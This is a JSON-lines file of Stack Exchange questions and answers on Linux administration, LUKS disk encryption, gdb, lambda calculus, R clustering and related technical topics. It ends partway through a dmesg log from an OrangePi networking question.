{  "id": "_unix.220717"  , "question": "I am running a Red Hat Enterprise Linux Server release 7.1 (Maipo) on Intel(R) Xeon(R) CPU X5690  @ 3.47GHz I keep getting this error in abrt-watch-log. root       888     1  0 Aug03 ?        00:00:00 /usr/bin/abrt-watch-log -F BUG: WARNING: at WARNING: CPU: INFO: possible recursive locking detected ernel BUG at list_del corruption list_add corruption do_IRQ: stack overflow: ear stack overflow (cur: eneral protection fault nable to handle kernel ouble fault: RTNL: assertion failed eek! page_mapcount(page) went negative! adness at NETDEV WATCHDOG ysctl table check failed : nobody cared IRQ handler type mismatch Machine Check Exception: Machine check events logged divide error: bounds: coprocessor segment overrun: invalid TSS: segment not present: invalid opcode: alignment check: stack segment: fpu exception: simd exception: iret exception: /var/log/messages -- /usr/bin/abrt-dump-oops -xtD"  , "title": "CPU warning - abrt-watch-log"  , "tags": "linux;linux kernel"  , "accepted_answer": "The process abrt-watch-log takes strings to watch for and then runs a command. So what you're seeing as an error is just the strings to look for in /var/log/messages, which if found, is then sent to /usr/bin/abrt-dump-oops.$ man abrt-watch-log:NAME       abrt-watch-log - Watch log file and run command when it grows or is replacedSYNOPSIS       abrt-watch-log [-vs] [-F STR] ... FILE PROG [ARGS]"  } 
{  "id": "_unix.349868"  , "question": "I have tried this: How to execute a shellscript when I plug-in a USB-device and have the following output for lsusb:Bus 002 Device 007: ID 046d:0825 Logitech, Inc. Webcam C270and in /etc/udev/rules.d/camset.rulesATTRS{idvendor}==046d, ATTRS{idproduct}==0825, RUN+=camset.shand camset.sh is located at the root directory.  When I run sh camset.sh it runs fine so I don't think there is any problem with that.  Thanks for the help"  , "title": "Trying to get sh to run when usb camera is connected"  , "tags": "shell;usb;camera"  } 
{  "id": "_unix.184891"  , "question": "I was wondering, since it seems to be one of the only websites where I can seemingly legally download historic Unix documents."  , "title": "Is Cat-v.org an official subsidiary website of Plan 9 from Bell Labs?"  , "tags": "history;plan9"  } 
{  "id": "_cs.76660"  , "question": "I am going through the book on lambda calculus by Hindley and Seldin .They introduce the syntactic equivalence of expressions and proving them by a technique named induction , which has not been directly defined in the book .(a) $[N/x]x \\equiv N$(b) $[N/x]a \\equiv a$ for all atoms $a \\not \\equiv x$(c) $[N/x](PQ) \\equiv ([N/x]P)([N/x]Q)$(d) $[N/x](\\lambda x.P) \\equiv (\\lambda x.P)$(e) $[N/x](\\lambda y.P) \\equiv P$ if $x \\not \\in FV(P)$.(f) $[N/x](\\lambda y.P) \\equiv \\lambda y. [N/x]P$ if $x \\in FV(P)$ and $y \\not \\in FV(N)$.(g) $[N/x](\\lambda y.P) \\equiv \\lambda z. [N/x][z/y]P$ if $x \\in FV(P)$ and $y \\in FV(N)$.The above are the rules given for substitution in the book. I have some difficulty in understanding (d).Why is it so that $$  [N/x] ( \\lambda x . p) = ( \\lambda x . p) $$ ? How to justify this ? Why can't this be defined to be or equal to  $$( \\lambda N . p) $$ ?"  , "title": "Lambda calculus :difficulty in getting hang of induction and conversion"  , "tags": "lambda calculus"  , "accepted_answer": "In the definition of substitution $[N_1/ x]N$, we describe how to replace all free occurrences of the variable $x$ by the expression $N_1$ throughout the expression $N$.The formation rules defining the syntax of $\\lambda$-calculus expressions $e$ are$$ N ::= x \\mid \\lambda x.P \\mid N_1 N_2 $$where $x$ ranges over a set of variables. One should think of the abstraction $\\lambda x.P$ as a function with argument $x$ and body $P$  or using standard programming terminology, we think of it as a procedure with formal parameter $x$ and body $P$.In $\\lambda x.P$, the variable $x$ is not free within $P$, so a substitution $[N/x](\\lambda x.P)$ cannot change anything.Moreover, writing $\\lambda N.P$ does not make sense; the argument/formal parameter must be a variable.If you are still puzzled, think of an applied lambda-calculus with integer numerals and consider the expression $\\lambda x. x +7$ that informally denotes a function that adds $7$ to its argument. Your proposed substitution rule would give us that $[14/x](\\lambda x. x+7)  = \\lambda 14. x +7$. What would that even mean? (I have no idea.)By the way, the notion of induction is not esoteric at all. Induction is a central proof technique in mathematics and in computer science, and one cannot understand the lambda calculus without being familiar with it. See https://en.wikipedia.org/wiki/Mathematical_induction for an introduction."  } 
{  "id": "_unix.130833"  , "question": "I have HDD with my data (partial backup of most important data available on other HDD), currently it's formatted as Ext4 over LVM over LUKS. I want to remove LUKS layer, but reformatting and data restore from backup is too long/no fun. Is there any possibility/chance to overwrite LUKS partition with it's content without using big buffer and without data corruption?"  , "title": "Can I overwrite LUKS partition with it's decrypted content?"  , "tags": "hard disk;dd;luks"  , "accepted_answer": "You're going to have to copy all the data around anyway. You should definitely have a backup at this point. Unless your backup device is significantly slower than your active disk, restoring from backup is as fast as it can go.A LUKS volume starts with a header (up to 2MB). If you lose the header, the data in the volume is lost. As long as the header is intact, you can access data in independent 512-byte sectors.A strategy like cat /dev/mapper/encrypted >/dev/sdz99 will work, because the ciphertext is located at a positive offset (the header size) relative to the plaintext. However, this may well be slower than restoring from backup, because it's a copy on the same disk (with a disk-to-disk copy, reading and writing are done in parallel). For a same-disk copy, dd with a large block size is only very slightly faster than cat. There is a major caveat with this strategy: if there is a power failure or other system crash during the copy, your whole partition will be hosed, because the header has been overwritten first thing.You can save the first 2MB of data elsewhere, and move the rest:dd if=/dev/mapper/encrypted of=/dev/sdz99 bs=2M skip=1 seek=1This way, you can resume after an interruption (don't try to assemble the logical volume though, let alone mount the filesystem!); however this requires knowing where you left off. This is practically impossible to determine (you'd have to use a copying tool that outputs a trail of the blocks it's copying and writes it to the disk, synchronously with the block copies).If your backup storage is very slow, then you can use this shifting strategy  the plain cat shifting will do and fall back to restoring from backup if anything bad happens.If the backup storage is really unwieldy, then a different approach would be to:Shrink the filesystem (resize2fs).Shrink the logical volume (lvreduce).Shrink the physical volume (pvresize).Shrink the encrypted volume.Shrink the partition (fdisk or gdisk), and create a new partition in the freed space.Create a physical volume in the new partition (pvcreate) and add it to the volume group (vgextend).Move as many physical extents as possible off the encrypted volume (pvmove).If the encrypted volume isn't empty, repeat from step 1.Get rid of the now unused physical volume (vgreduce then pvremove).Long and tortuous? Yes. Again, my recommendation is to restore from backup."  } 
{  "id": "_unix.295510"  , "question": "A few days ago, I formatted and encrypted (LUKS+Ext4) a solid state drive the lazy way (using gnome-disks). The disk was mounted and I moved some data to the disk from another drive that I was going to zero out and encrypt. Of course, this was literally the only bit of data that I don't have at least 3 copies (or even 1). The next day, I saw the partition was no longer mounted and seemed to be gone.fdisk -l /dev/sdbDisk /dev/sdb:...Disk identifier: 0x00000000Disk /dev/sdb doesn't contain a valid partition tablefile -s /dev/sdb/dev/sdb: dataI used hexdump to check that there is data on the drive (to rule out me accidentally zeroing it out).dd if=/dev/sdb bs=512 count=2048 | hexdump -Cshows zeros, but once I hit count=2049, I start seeing some data:dd if=/dev/sdb bs=512 count=2049 | hexdump -C00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|*00100000  4c 55 4b 53 ba be 00 01  61 65 73 00 00 00 00 00  |LUKS....aes.....|00100010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100020  00 00 00 00 00 00 00 00  78 74 73 2d 70 6c 61 69  |........xts-plai|00100030  6e 36 34 00 00 00 00 00  00 00 00 00 00 00 00 00  |n64.............|00100040  00 00 00 00 00 00 00 00  73 68 61 31 00 00 00 00  |........sha1....|00100050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100060  00 00 00 00 00 00 00 00  00 00 10 00 00 00 00 20  |............... |00100070  54 de 2e 44 8a 4e f7 04  e2 c5 90 f3 0b 46 37 5c  |T..D.N.......F7\\|00100080  69 56 f9 d0 3f f7 e8 b8  cf fa c6 18 0d c1 5e 8c  |iV..?.........^.|00100090  4e 11 73 1c 2b c0 1d 71  7d bb 61 61 10 5d ea 8c  |N.s.+..q}.aa.]..|001000a0  0a 10 96 bc 00 00 c5 44  34 35 38 65 33 34 30 34  |.......D458e3404|001000b0  2d 64 62 35 38 2d 34 62  38 30 2d 39 32 64 64 2d  |-db58-4b80-92dd-|001000c0  30 38 37 63 30 33 61 36  39 38 38 64 00 00 00 00  |087c03a6988d....|001000d0  00 ac 71 f3 00 03 0a cf  a3 c8 f9 1e 42 bb 99 b0  |..q.........B...|001000e0  9c 91 4c 66 fb 01 60 47  98 bc d0 b8 e3 3c 6f 64  |..Lf..`G.....<od|001000f0  9a cf 06 85 ef 1d 42 0c  00 00 00 08 00 00 0f a0  |......B.........|00100100  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100120  00 00 00 00 00 00 00 00  00 00 01 08 00 00 0f a0  |................|00100130  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100150  00 00 00 00 00 00 00 00  00 00 02 08 00 00 0f a0  |................|00100160  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100180  00 00 00 00 00 00 00 00  00 00 03 08 00 00 0f a0  |................|00100190  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |................|001001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|001001b0  00 00 00 00 00 00 00 00  00 00 04 08 00 00 0f a0  |................|001001c0  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |................|001001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|001001e0  00 00 00 00 00 00 00 00  00 00 05 08 00 00 0f a0  |................|001001f0  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |................|00100200The only other thing I can think to note is that I think I may have accidentally gave another partition the same name later (I figured maybe this caused the unmount). Any input would be much appreciated.UPDATE:lsmod | grep dm_cryptdm_crypt               23216  2uname -r3.16.0-38-genericUPDATE 2:Not sure if this is helpful, but I compared the first part of the header with another encrypted partition's header and this was the result.diff -y <(dd if=/dev/sdb bs=512 skip=2048 count=1 | hexdump -C) <(dd if=/dev/sdc1 bs=512 skip=0 count=1 | hexdump -C)00000000  4c 55 4b 53 ba be 00 01  61 65 73 00 00 00 00 00  |   00000000  4c 55 4b 53 ba be 00 01  61 65 73 00 00 00 00 00  |00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |00000020  00 00 00 00 00 00 00 00  78 74 73 2d 70 6c 61 69  |   00000020  00 00 00 00 00 00 00 00  78 74 73 2d 70 6c 61 69  |00000030  6e 36 34 00 00 00 00 00  00 00 00 00 00 00 00 00  |   00000030  6e 36 34 00 00 00 00 00  00 00 00 00 00 00 00 00  |00000040  00 00 00 00 00 00 00 00  73 68 61 31 00 00 00 00  |   00000040  00 00 00 00 00 00 00 00  73 68 61 31 00 00 00 00  |00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |00000060  00 00 00 00 00 00 00 00  00 00 10 00 00 00 00 20  | | 00000060  00 00 00 00 00 00 00 00  00 00 10 01 00 00 00 20  |00000070  54 de 2e 44 8a 4e f7 04  e2 c5 90 f3 0b 46 37 5c  | | 00000070  24 1a 58 e8 ce 91 4b ef  db 9d d0 27 9c 27 3c 02  |00000080  69 56 f9 d0 3f f7 e8 b8  cf fa c6 18 0d c1 5e 8c  | | 00000080  b7 27 35 b7 e5 ec 6d 6b  4f af 63 ab 06 03 4d da  |00000090  4e 11 73 1c 2b c0 1d 71  7d bb 61 61 10 5d ea 8c  | | 00000090  eb 05 49 29 4b be 98 73  6c 4b 2e 49 b3 75 14 a0  |000000a0  0a 10 96 bc 00 00 c5 44  34 35 38 65 33 34 30 34  | | 000000a0  69 ef 8a 53 00 00 c4 c7  64 63 64 35 66 65 32 35  |000000b0  2d 64 62 35 38 2d 34 62  38 30 2d 39 32 64 64 2d  | | 000000b0  2d 34 31 34 31 2d 34 35  34 31 2d 39 32 37 39 2d  |000000c0  30 38 37 63 30 33 61 36  39 38 38 64 00 00 00 00  | | 000000c0  37 35 31 38 34 66 64 61  37 39 63 31 00 00 00 00  |000000d0  00 ac 71 f3 00 03 0a cf  a3 c8 f9 1e 42 bb 99 b0  | | 000000d0  00 ac 71 f3 00 03 09 9a  eb 00 61 89 23 34 ff b7  |000000e0  9c 91 4c 66 fb 01 60 47  98 bc d0 b8 e3 3c 6f 64  | | 000000e0  cf 33 12 1e 5d a8 81 8c  b6 3c e3 8b 18 b6 1f e5  |000000f0  9a cf 06 85 ef 1d 42 0c  00 00 00 08 00 00 0f a0  | | 000000f0  24 4b 5a 07 ca b3 49 8c  00 00 00 08 00 00 0f a0  |00000100  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |   00000100  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |00000120  00 00 00 00 00 00 00 00  00 00 01 08 00 00 0f a0  |   00000120  00 00 00 00 00 00 00 00  00 00 01 08 00 00 0f a0  |00000130  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |   00000130  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |00000150  00 00 00 00 00 00 00 00  00 00 02 08 00 00 0f a0  |   00000150  00 00 00 00 00 00 00 00  00 00 02 08 00 00 0f a0  |00000160  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |   00000160  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |00000180  00 00 00 00 00 00 00 00  00 00 03 08 00 00 0f a0  |   00000180  00 00 00 00 00 00 00 00  00 00 03 08 00 00 0f a0  |00000190  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |   00000190  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |000001b0  00 00 00 00 00 00 00 00  00 00 04 08 00 00 0f a0  |   000001b0  00 00 00 00 00 00 00 00  00 00 04 08 00 00 0f a0  |000001c0  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |   000001c0  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |   000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |000001e0  00 00 00 00 00 00 00 00  00 00 05 08 00 00 0f a0  |   000001e0  00 00 00 00 00 00 00 00  00 00 05 08 00 00 0f a0  |000001f0  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |   000001f0  00 00 de ad 00 00 00 00  00 00 00 00 00 00 00 00  |00000200                            00000200"  , "title": "Mounted drive disappears and is no longer a valid LUKS device"  , "tags": "luks;dm crypt;disk encryption"  } 
{  "id": "_datascience.616"  , "question": "I have a matrix that is populated with discrete elements, and I need to cluster them (using R) into intact groups. So, for example, take this matrix:[A B B C A]  [A A B A A]  [A B B C C]  [A A A A A]  There would be two separate clusters for A, two separate clusters for C, and one cluster for B.The output I'm looking for would ideally assign a unique ID to each cluster, something like this:[1 2 2 3 4]  [1 1 2 4 4]  [1 2 2 5 5]  [1 1 1 1 1]Right now I wrote a code that does this recursively by just iteratively checking nearest neighbor, but it quickly overflows when the matrix gets large (i.e., 100x100).Is there a built in function in R that can do this? I looked into raster and image processing, but no luck. I'm convinced it must be out there."  , "title": "Identifying clusters or groups in a matrix"  , "tags": "r;clustering"  } 
{  "id": "_unix.214725"  , "question": "I wondered if there are any known issues when Ubuntu and WIndows 7 are installed in Dualboot. I figured out that Ubuntu sometimes runs a bit slow. "  , "title": "Issues if Ubuntu and Windows 7 is installed in dualboot"  , "tags": "ubuntu;windows;dual boot"  } 
{  "id": "_unix.125865"  , "question": "I have a form made it with a couple of text boxes, in which I input floating numbers  and use this number to sum with other text box and put the result in a label.I then input the values of the text boxes to a variable (xbiz and xbder) and I sum itfor example I get then this result : xbiz = 5.2 xbder = 2.3My problem is when one of the text boxes is empty (in blank) the script give me an error of ILLEGAL FLOAT VALUE! I mean if I am not input a value in any od the two variablesHow can solve this problem?Here is my code:#FORMecho FG 999999 >> $gui_inecho FONT cbr18 >> $gui_inecho BG 901010 >> $gui_inecho LABEL LOCATINES >> $gui_inecho FG 101090 >> $gui_inecho FONT cbr18 >> $gui_inecho BG 708787 >> $gui_inecho TEXT xbiz X_BOT_IZQ >> $gui_inecho TEXT xbder X_BOT_DER >> $gui_in#Calculationset varx = `echo  $xbder + $xbiz | bc -l`#After calculate the values of the two variables (xbder + xbiz) I use the result in the following line:COM display_layer,name=comp,display=yes,number=1COM add_pad,attributes=no,**x=${varx},y=${varx}**,symbol=${sizefido},polarity=positive,\\angle=0,mirror=no,nx=1,ny=1,dx=0,dy=0,xscale=1,yscale=1"  , "title": "Illegal float value error c-shell"  , "tags": "shell script;csh"  } 
{  "id": "_softwareengineering.262292"  , "question": "I am trying to convince people in my company that we should switch to event sourcing. Our software is a product that consist of many modules - like a module for wiki, blogs, documents, etc. I would like to use event sourcing also to allow easy collaboration on artifacts (like blogs), to have a history of changes, to minimize concurrent modification issues and so on.There is also a feature of staging - where modules can be staged offline, so people can work on them; and then applied to online once when changes are finished. The one of the reasons why no one wants to go this direction is the amount of events needed to be persisted. The events needed to be very granular, since of variety of actions users can do. But, there is no other operation on events then: 1) adding them 2) reading them from one point in time to the other. More over, we can have the concept of 'applied' events; some modules do not need to keep track of the full history, just the most recent ones.So I wonder if there is any experience in how persisting events may influence the performance of the system?"  , "title": "Event sourcing - performance penalty?"  , "tags": "domain driven design;event sourcing"  } 
{  "id": "_unix.156465"  , "question": "I have been trying to find the address of the SHELL environment variable in a program on a Ubuntu 12.04 machine. I have turned off ASLR.I found similar posts : SO question and blog postI have tried using the following in gdb  (gdb) x/s *((char **)environ)but I get the message : (gdb) No symbol environ in current contextIs this not valid in Ubuntu 12.04 ? Is there any other way to inspect the address of an environment variable in a process using gdb ?"  , "title": "Using gdb to inspect environment variables"  , "tags": "environment variables;gdb"  , "accepted_answer": "Has your binary been stripped of its symbols?  If so, there will be no symbol table and you will have no hope of finding this symbol.  You can find out with readelf - here my hello binary does have its symbol table:$ readelf -S hello | grep -i symtab  [28] .symtab           SYMTAB           0000000000000000  000018f8$ Also when you run GDB, has your program actually started?  It looks like this symbol is not resolvable until the symbol table has loaded.  It won't be loaded when you first start GDB, but should be by the time you hit main().  You can simply put a breakpoint at main(), run the program, and then inspect the variable when you hit the main() breakpoint:Reading symbols from hello...(no debugging symbols found)...done.(gdb) x/s *((char **)environ)No symbol table is loaded.  Use the file command.(gdb) b mainBreakpoint 1 at 0x4005c8(gdb) rStarting program: /home/ubuntu/hello Breakpoint 1, 0x00000000004005c8 in main ()(gdb) x/s *((char **)environ)0x7fffffffe38f: XDG_VTNR=7(gdb) "  } 
{  "id": "_cstheory.3809"  , "question": "This question is in the same vein as inspirational talk for final year high school pupils. My Ph.D. advisor asked me to give an inspirational talk for new M.Sc. students. The subject is foundations of cryptography, which is best illustrated by Goldreich's book. The talk will take about one hour, and I want to familiarize the students to the main constructs (like one-way functions/permutations, pseudor-random generators, zero-knowledge proofs, encryption/signature schemes, etc.), and solved and unsolved problems in the field.I want to keep the talk very motivating.The main problem is two-fold:Foundations of cryptography needs a very good understanding of the computational-complexity theory. Alas, the M.Sc. students have not passed any course related to this theory.I need to present some problems as possible topics for an M.Sc. thesis. While there are a lot of unsolved problems in the field, most of them are too hard for an M.Sc. student.Suggestions are most welcome. In addition, I'm very interested in pointers to similar talks.Edit: I found the list of Goldreich's students extremely inspiring. I'll be searching for other such lists, but you can help me if you know any similar lists. See also: Demystifying the Master Thesis and Research in General: The Story of Some Master Theses."  , "title": "Motivating Talk on Foundations of Cryptography"  , "tags": "reference request;soft question;cr.crypto security;teaching"  , "accepted_answer": "Since you can't rely on a knowledge of complexity theory, you have to emphasize the change in paradigm from security by obscurity to security by intractability, by positing the idea that some problems are hard to solve efficiently. This of course elides the many problems associated with the Impagliazzo worlds of intractability, but it gives a flavor of the way modern crypto works. for ZKP, which are truly awesome, there are many ways to convey the basic ideas intuitively. See for example my answer on MO, as well as the hilarious Ali Baba and the 40 thieves story. While these were originally designed for a younger crowd, they work well at all ages to convey the right intuition. "  } 
{  "id": "_unix.352757"  , "question": "I recently bought a OrangePi Zero Single Board Computer. It works fine but i am facing an issue now, when i boot the Pi without Ethernet, router assigns the IP to the WiFi of the PI but i tried to ping it. It says connection time out and when i try to ssh in it, it doesn't connect.But if i boot my pi with Ethernet connected, both interfaces eth0 and wlan0 works fine and i can even ssh using both wlan0 and eth0.I even tried to disconnect the Ethernet in between and then tried to ping wlan0 interface, again the same problem persists. If i even connect the Ethernet again both interface works fine. I am using nmtui network manager. Therefore, my /etc/network/interfaces file is emptyroot@orangepizero:~# nano /etc/network/interfaces# This file intentionally left blank## All interfaces are handled by network-manager, use nmtui or nmcli on# server/headless images or the Network Manager GUI on desktop imagesHere is my ip routing table when eth0 and wlan0 is connectedroot@orangepizero:~# ip routedefault via 192.168.1.1 dev eth0  proto static  metric 1024192.168.1.0/24 dev eth0  proto kernel  scope link  src 192.168.1.120192.168.1.0/24 dev wlan0  proto kernel  scope link  src 192.168.1.130Here is my sshd_config file... Note : I am listening on all IP Addresses.root@orangepizero:/etc/ssh# nano sshd_config# Package generated configuration file# See the sshd_config(5) manpage for details# What ports, IPs and protocols we listen forPort 22# Use these options to restrict which interfaces/protocols sshd will bind to#ListenAddress ::ListenAddress 0.0.0.0Protocol 2# HostKeys for protocol version 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_dsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyHostKey /etc/ssh/ssh_host_ed25519_key#Privilege Separation is turned on for securityUsePrivilegeSeparation yes# Lifetime and size of ephemeral version 1 server keyKeyRegenerationInterval 3600ServerKeyBits 1024# LoggingSyslogFacility AUTHLogLevel INFO# Authentication:LoginGraceTime 120PermitRootLogin yesStrictModes yesRSAAuthentication yesPubkeyAuthentication yes#AuthorizedKeysFile     %h/.ssh/authorized_keys# Don't read the user's ~/.rhosts and ~/.shosts filesIgnoreRhosts yes# For this to work you will also need host keys in /etc/ssh_known_hostsRhostsRSAAuthentication no# similar for protocol version 2HostbasedAuthentication no# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthenticationHere is the dmesg log ...root@orangepizero:/home/mayank# dmesg[    0.938512] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver[    0.958710] sunxi-ehci sunxi-ehci.1: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver[    0.958785] sunxi-ehci sunxi-ehci.1: new USB bus registered, assigned bus number 1[    0.959878] sunxi-ehci sunxi-ehci.1: irq 104, io mem 0xf1c1a000[    0.970075] sunxi-ehci sunxi-ehci.1: USB 0.0 started, EHCI 1.00[    0.971318] hub 1-0:1.0: USB hub found[    0.971364] hub 1-0:1.0: 1 port detected[    0.992132] sunxi-ehci sunxi-ehci.2: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver[    0.992193] sunxi-ehci sunxi-ehci.2: new USB bus registered, assigned bus number 2[    0.993010] sunxi-ehci sunxi-ehci.2: irq 106, io mem 0xf1c1b000[    1.010068] sunxi-ehci sunxi-ehci.2: USB 0.0 started, EHCI 1.00[    1.011223] hub 2-0:1.0: USB hub found[    1.011278] hub 2-0:1.0: 1 port detected[    1.032097] sunxi-ehci sunxi-ehci.3: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver[    1.032157] sunxi-ehci sunxi-ehci.3: new USB bus registered, assigned bus number 3[    1.032993] sunxi-ehci sunxi-ehci.3: irq 108, io mem 0xf1c1c000[    1.050070] sunxi-ehci sunxi-ehci.3: USB 0.0 started, EHCI 1.00[    1.051154] hub 3-0:1.0: USB hub found[    1.051205] hub 3-0:1.0: 1 port detected[    1.071966] sunxi-ehci sunxi-ehci.4: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver[    1.072026] sunxi-ehci sunxi-ehci.4: new USB bus registered, assigned bus number 4[    1.072806] sunxi-ehci sunxi-ehci.4: irq 110, io mem 0xf1c1d000[    1.090061] sunxi-ehci sunxi-ehci.4: USB 0.0 started, EHCI 1.00[    1.091178] hub 4-0:1.0: USB hub found[    1.091226] hub 4-0:1.0: 1 port detected[    1.092013] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver[    1.112150] sunxi-ohci sunxi-ohci.1: SW USB2.0 'Open' Host Controller (OHCI) Driver[    1.112210] sunxi-ohci sunxi-ohci.1: new USB bus registered, assigned bus number 5[    1.112278] sunxi-ohci sunxi-ohci.1: irq 105, io mem 0xf1c1a400[    1.175168] hub 5-0:1.0: USB hub found[    1.175210] hub 5-0:1.0: 1 port detected[    1.195989] sunxi-ohci sunxi-ohci.2: SW USB2.0 'Open' Host Controller (OHCI) Driver[    1.196051] sunxi-ohci sunxi-ohci.2: new USB bus registered, assigned bus number 6[    1.196115] sunxi-ohci sunxi-ohci.2: irq 107, io mem 0xf1c1b400[    1.255230] hub 6-0:1.0: USB hub found[    1.255276] hub 6-0:1.0: 1 port detected[    1.276126] sunxi-ohci sunxi-ohci.3: SW USB2.0 'Open' Host Controller (OHCI) Driver[    1.276185] sunxi-ohci sunxi-ohci.3: new USB bus registered, assigned bus number 7[    1.276249] sunxi-ohci sunxi-ohci.3: irq 109, io mem 0xf1c1c400[    1.335058] hub 7-0:1.0: USB hub found[    1.335097] hub 7-0:1.0: 1 port detected[    1.355806] sunxi-ohci sunxi-ohci.4: SW USB2.0 'Open' Host Controller (OHCI) Driver[    1.355865] sunxi-ohci sunxi-ohci.4: new USB bus registered, assigned bus number 8[    1.355928] sunxi-ohci sunxi-ohci.4: irq 111, io mem 0xf1c1d400[    1.415077] hub 8-0:1.0: USB hub found[    1.415116] hub 8-0:1.0: 1 port detected[    1.415828] Initializing USB Mass Storage driver...[    1.416301] usbcore: registered new interface driver usb-storage[    1.416324] USB Mass Storage support registered.[    1.416445] usbcore: registered new interface driver ums-alauda[    1.416567] usbcore: registered new interface driver ums-cypress[    1.416690] usbcore: registered new interface driver ums-datafab[    1.416788] usbcore: registered new interface driver ums_eneub6250[    1.416886] usbcore: registered new interface driver ums-freecom[    1.416991] usbcore: registered new interface driver ums-isd200[    1.417090] usbcore: registered new interface driver ums-jumpshot[    1.417192] usbcore: registered new interface driver ums-karma[    1.417290] usbcore: registered new interface driver ums-onetouch[    1.417420] usbcore: registered new interface driver ums-realtek[    1.417525] usbcore: registered new interface driver ums-sddr09[    1.417632] usbcore: registered new interface driver ums-sddr55[    1.417740] usbcore: registered new interface driver ums-usbat[    1.418184]  uinput result 0 , vmouse_init[    1.419446] mousedev: PS/2 mouse device common for all mice[    1.419915] sunxikbd_init failed.[    1.419938] sunxikbd_init failed.[    1.419961] ls_fetch_sysconfig_para: ls_unused.[    1.419978] ltr_init: ls_fetch_sysconfig_para err.[    1.420679] [RTC] WARNING: Rtc time will be wrong!![    1.420699] [RTC] WARNING: use *internal OSC* as clock source[    1.421225] sunxi-rtc sunxi-rtc: rtc core: registered sunxi-rtc as rtc0[    1.421333] i2c /dev entries driver[    1.422157] sunxi cedar version 0.1[    1.422246] [cedar]: install start!!![    1.422622] [cedar]: install end!!![    1.422990] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x18)[    1.423206] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x19)[    1.423410] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x1a)[    1.423613] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x29)[    1.423815] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x2a)[    1.424020] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x2b)[    1.424222] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x4c)[    1.424450] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x4d)[    1.424670] sunxi_i2c_do_xfer()985 - [i2c0] incomplete xfer (status: 0x20, dev addr: 0x4e)[    1.424917] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x18)[    1.425155] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x19)[    1.425393] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x1a)[    1.425630] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x29)[    1.425868] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x2a)[    1.426107] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x2b)[    1.426344] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x4c)[    1.426581] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer (status: 0x20, dev addr: 0x4d)[    1.426818] sunxi_i2c_do_xfer()985 - [i2c1] incomplete xfer 